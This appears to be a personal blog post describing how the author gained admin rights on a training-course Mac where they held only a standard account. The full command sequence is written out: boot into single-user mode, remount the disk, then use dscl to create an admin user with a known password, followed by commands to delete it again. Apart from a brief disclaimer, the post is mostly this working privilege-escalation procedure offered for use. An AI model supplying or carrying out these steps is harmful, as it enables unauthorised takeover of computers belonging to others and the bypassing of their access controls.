Disclaimer : this is intentended to be just a tutorial for teaching reasons. Please don’t do any damage , steal data or something like this using this guide.
Yesterday, i attended a “great” trainee course.
During the night, an accident broked up the telephone line, so our internet connection was fu**** up .. i was soooo bored :(

I had an apple Iphone so, i’ve tried to see if i can use it like modem using the thetering option enabled with firmware 3.0, but i had ad unprivileged account in that machine… so i had the need to add a temporary admin user to correctly configure pc to use my cellphone
this is how i’ve made it.
User is called testuser and it’s password is test :)

boot into single-user mode (hold down cmd-S during early startup
/sbin/fsck -fy
/sbin/mount -uw /
launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist (to be able to use dscl that is the Directory Service command line utility )
dscl . -create /Users/testuser
dscl . -create /Users/testuser UserShell /bin/bash
dscl . -create /Users/testuser RealName “Test User”
dscl . -create /Users/testuser UniqueID 510 (i've choosen this value randomly, but there is some methods to choose it correctly, check the notes below)
dscl . -create /Users/testuser PrimaryGroupID 80 (add user to admin group)
dscl . -create /Users/testuser NFSHomeDirectory /Users/testuser (note this is changed from above)
dscl . -passwd /Users/testuser test
dscl . -append /Groups/admin GroupMembership testuser
exit

then restart your pc after login window appears
and than login with the new user :)

To delete the user :
[boot into single-user mode with cmd-s
/sbin/fsck -fy
/sbin/mount -uw /
launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist
dscl . -delete /Groups/admin GroupMembership testuser
dscl . -delete /Users/testuser
cd Users
rm -rf testuser
exit

Enjoy your admin privileges and i raccomend to you again , don’t do any damage !

Share